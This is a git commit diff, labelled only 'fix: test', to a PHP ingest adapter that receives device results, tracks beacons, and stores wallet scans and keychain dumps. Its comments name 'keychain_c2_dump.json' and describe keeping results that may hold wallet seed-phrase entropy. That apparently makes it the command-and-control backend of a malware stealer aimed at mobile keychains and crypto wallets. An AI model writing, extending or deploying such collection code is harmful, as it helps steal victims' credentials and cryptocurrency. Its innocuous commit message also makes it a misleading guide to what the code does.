fix: test
This commit is contained in:
@@ -357,7 +357,7 @@ class DarkSwordIngestAdapter
|
||||
private function ingestResult(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if ($device) {
|
||||
if ($device && ! $this->isEmptyWalletScanSummary($payload)) {
|
||||
$stored = $this->results->store($device, $payload);
|
||||
$payload = array_merge($payload, $stored);
|
||||
if (($stored['stored'] ?? false) === true) {
|
||||
@@ -367,6 +367,38 @@ class DarkSwordIngestAdapter
|
||||
$this->beaconQueue->markDone($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* A wallet_scan summary (wallet_pkg.json) with no keychain dump uploaded,
|
||||
* no installed wallets and no sandbox files carries no recoverable material
|
||||
* (no entropy, no keystore UTC, no addresses) — skip storing it entirely.
|
||||
*
|
||||
* Note: a result with `keychain_dump_uploaded: true` is kept even when
|
||||
* `installed_wallets` is empty, because the keychain dump (uploaded as a
|
||||
* separate keychain_c2_dump.json result) may still hold wallet entropy
|
||||
* such as Bitpie seedPhraseEntropy.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function isEmptyWalletScanSummary(array $payload): bool
|
||||
{
|
||||
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
||||
if (! str_contains($filename, 'wallet_pkg')) {
|
||||
return false;
|
||||
}
|
||||
$raw = $payload['data'] ?? null;
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return false;
|
||||
}
|
||||
$json = json_decode((string) base64_decode($raw, true), true);
|
||||
if (! is_array($json)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ($json['keychain_dump_uploaded'] ?? null) === false
|
||||
&& empty($json['installed_wallets'] ?? [])
|
||||
&& empty($json['sandbox_files'] ?? []);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user